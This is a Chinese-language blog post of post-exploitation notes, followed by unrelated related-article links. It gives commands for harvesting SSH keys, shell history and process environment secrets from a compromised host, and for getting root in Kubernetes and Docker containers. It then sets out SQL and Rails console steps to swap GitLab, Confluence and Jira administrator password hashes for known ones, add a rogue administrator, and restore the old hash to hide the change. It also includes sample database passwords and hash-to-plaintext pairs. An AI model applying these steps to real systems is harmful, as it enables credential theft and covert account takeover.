一些渗透后利用小结
内网主机信息收集
在项目中有遇到拿到shell的情况下,看到主机名是gitlab或者是什么gitserver,通常都有k8s或者docker服务,先判断是本机启动的服务还是容器里面启动的服务,然后再到对应的地方找配置文件和数据库之类的,然后可以到应用内去找有价值的东西
可以看~/.ssh/底下的文件,有没有id_rsa,或者是看known_hosts曾经连接过一些什么机器,再看看/etc/hosts有没有给其他机器添加了解析,还有各种历史记录和配置文件也值得留意
~/.ssh/
~/.bash_history
/etc/hosts
ss -tl[n] #加-n参数不显示服务名,纯端口号
netstat -anp
ps -auxf / ps -ef 看进程启动命令
cat /proc/pid/environ 进程启动环境变量
cat /proc/pid/cmdline 进程启动命令
ls -al /proc/pid/exe 进程可执行文件符号连接
ls -al /proc/pid/fd 进程打开的文件(file descriptor)
K8S
当你在master节点,k8s也可以像docker一样exec
kubectl get pods #查看所有正在运行的pod
NAME READY STATUS RESTARTS AGE
nginx-56b8c64cb4-t97vb 1/1 Running 3 1d
kubectl exec -it nginx-56b8c64cb4-t97vb -- /bin/bash #假如当前pod只有一个容器,运行以下命令即可
<3>假如一个pod里有多个容器,用--container or -c 参数。例如:假如这里有个Pod名为my-pod,这个Pod有两个容器,分别名为main-app 和 helper-app,下面的命令将打开到main-app的shell的容器里。
kubectl exec -it my-pod --container main-app -- /bin/bash
但是很多时候exec进去都不是root账户,这个时候我们需要找到实际启动容器的机器去
# 先找到pod的名称
kubectl get pods # 获取容器
kubectl get pods xxxx-xxx-001 # 查看容器信息
kubectl get pods [-n] xxxx-xxx-001 -o wide # 定位节点机器,输入-n会报错
# ssh到pod所在的节点
ssh k8s-node2 # ssh连接
docker ps -a | grep xxxx-xxx-001 # 查看docker容器
docker exec -it -u root [CONTAINER_ID] /bin/bash # exec进入容器
GitLab
代码仓库,看有没有重要系统的源码打包弄出来做代审
初始密码
Gitlab 14安装初始化后,默认账户名是root,密码存放在配置文件
/etc/gitlab/initial_root_password
这个文件将在首次执行reconfigure后24小时自动删除,文件内容:
[root@gitlab ~]# cat /etc/gitlab/initial_root_password
# WARNING: This value is valid only in the following conditions
# 1. If provided manually (either via `GITLAB_ROOT_PASSWORD` environment variable or via `gitlab_rails['initial_root_password']` setting in `gitlab.rb`, it was provided before database was seeded for the first time (usually, the first reconfigure run).
# 2. Password hasn't been changed manually, either via UI or via command line.
#
# If the password shown here doesn't work, you must reset the admin password following https://docs.gitlab.com/ee/security/reset_user_password.html#reset-your-root-password.
Password: NdaWiHzufnlWDshXY xI52q4Br0x2O mAsTeU6V1694=
# NOTE: This file will be automatically deleted in the first reconfigure run after 24 hours.
修改管理员密码
默认数据库应用是PostgreSQL,数据库是gitlabhq_production,表是users,管理员默认的id是1,用户名是root
通常docker拉起的gitlab都会有gitlab-rails,gitlab-psql一系列的应用
不考虑改回密码的情况
gitlab-rails console
user = User.find(1)
new_password = 'Aa12345678!'
user.password = new_password
user.password_confirmation = new_password
user.save!
user.attributes
得到Aa12345678!密文就是这个,后面能用到
"encrypted_password"=>"$2a$10$n6EWnwDjlab2YXrTc5ZdGu2OkwnE25qVS/tG2nHsvPGze5iPD317G"
考虑改回密码的情况
设置新密码为Aa12345678!
,记得先查询一次保存旧密码的密文
gitlab-psql
l
c gitlabhq_production
select id,encrypted_password,name,username,admin from users where id=1;
-- 这一步是将密码更新为Aa12345678!
update users set encrypted_password='$2a$10$n6EWnwDjlab2YXrTc5ZdGu2OkwnE25qVS/tG2nHsvPGze5iPD317G' where id=1;
-- 这一步是恢复旧密码的密文
update users set encrypted_password='$2a$************************************vyy' where id=1;
Confluence
知识库系统,可以看有没有信息泄漏之类的东西
默认配置文件位置:Linux:
/var/atlassian/application/data/confluence/confluence.cfg.xml
Windows:
C:/Atlassian/Application/Data/Confluence/confluence.cfg.xml
数据库操作
mysql -uroot -pRadBank@530
show databases;
use confluence;
select id,user_name,active,email_address,credential from cwd_user;
-- 在数据库里面查看管理员用户
select u.id, u.user_name, u.active from cwd_user u
join cwd_membership m on u.id=m.child_user_id join cwd_group g on m.parent_id=g.id join cwd_directory d on d.id=g.directory_id
where g.group_name = 'confluence-administrators' and d.directory_name='Confluence Internal Directory';
-- 记得存一下原始密码
-- {PKCS5S2}xPqJ5enH/NPJfOyO2vUiQgoF0pRLl9R HwxWC9zG3OjOXJbapmEl0 bEz/MelyLJ
-- 原始密码明文是123456
-- 无{PKCS5S2}的,更改密码为sphere
update cwd_user set credential='uQieO/1CGMUIXXftw3ynrsaYLShI GTcPS4LdUGWbIusFvHPfUzD7CZvms6yMMvA8I7FViHVEqr6Mj4pCLKAFQ==' where user_name='XXXX';
-- 有{PKCS5S2}的,更改密码为123456
update cwd_user set credential='{PKCS5S2}ms9AdSR9vnOXqnNdEmRG/kxRc22qTnx3Y/nwdyaNEg5/XAANouQ akxcQbFjJiQ4' where user_name='XXXX';
-- 密码是{PKCS5S2}前缀开头的,则用下面这个sql,这个管理员密码为 Ab123456
update cwd_user set credential='{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF' where id=xxxxxx;
用已知的密文进行替换
将管理员用户的密码修改为目前已知的明文密码的密文(不能直接在数据库中添加字段,否则在单个表中添加字段可能会出现问题)。
修改密码后,登陆后台,添加用户并将其加入管理员组。
最后,将管理员密码还原回去。
更改密码
登录后台——>用户管理——>添加用户——>加管理员组——>还原admin密码
参考文章:
Jira
项目与事务跟踪工具,经常和confluence一起出现
mysql -uroot -pRadBank@530
show databases;
-- Jira数据库中,用户信息都存放在表 cwd_user中
-- 切换到jiar数据库
-- CREDENTIAL字段是加密后的密码
use jiradb;
-- 看看管理员用户信息,待会会用到
select id,user_name,active,email_address,credential from cwd_user;
-- 记得保存原始密码,信息收集完成之后改回
-- {PKCS5S2}dVBfve2TpngECXqQfQJJlnnfC9WwDB25vCaXlxvSy67m/Tv6NVNi29ON0PX5vvf0
-- 这个密码的明文也是123456
-- 无{PKCS5S2}的,更改密码为sphere
update cwd_user set credential='uQieO/1CGMUIXXftw3ynrsaYLShI GTcPS4LdUGWbIusFvHPfUzD7CZvms6yMMvA8I7FViHVEqr6Mj4pCLKAFQ==' where user_name='XXXX';
-- 有{PKCS5S2}的,更改密码为123456
update cwd_user set credential='{PKCS5S2}ms9AdSR9vnOXqnNdEmRG/kxRc22qTnx3Y/nwdyaNEg5/XAANouQ akxcQbFjJiQ4' where user_name='XXXX';
-- 有{PKCS5S2}的,更改密码为Ab123456
update cwd_user set credential='{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF' where id=xxxxxx;
-- 最后记得复原密码
update cwd_user set credential='初始密码' where user_name='XXXX';
相关文章
- 子母钟系统,安徽京准助力高考精准时间 子母钟系统,安徽京准助力高考精准时间 京准电子科...03-18
- 京准电钟:NTP校时服务器于安防监控系统应用方案 京准电钟:NTP校时服务器于安防监控系统应...03-18
- 参考视频:https://www.bilibili.com/video/BV1itwgeHEEk/?spm_id_from=333.1387.upload.video_card.click&vd_source=e9...03-18
- 京准电钟:NTP精密时钟服务器在自动化系统中的作用 京准电钟:NTP精密时钟服务器在自动化系...03-18
EWM181-Z12S简易型zigbee3.0模块的技术解析与应用指南
一、产品概述:重新定义低功耗无线通信 EWM181-Z12S是简单易用型工业级ZigBee3.0无线模块,支持...03-18- 这里要说的是,用户登录密码属于用户隐私数据。首先,隐私数据属于敏感数据,不能明文传...03-18
- 本文将介绍 TOPIAM 与 Wiki 集成步骤详细指南。 应用简介 Wiki.js 是一款高度可定制...03-18
- 官方下载 夸克网盘 Kali Linux 2021.3具有以下优势: 增强的OpenSSL兼容性 扩大连接范围:重新配置...03-18
- 一.ELF文件结构 0x01什么是ELF文件 1.linux环境中,二进制可持性文件的类型是ELF(Executable and Link...03-18
- 京准电钟:北斗卫星校时器助力智慧电子政务系统 京准电钟:北斗卫星校时器助力智慧电子政...03-18
最新评论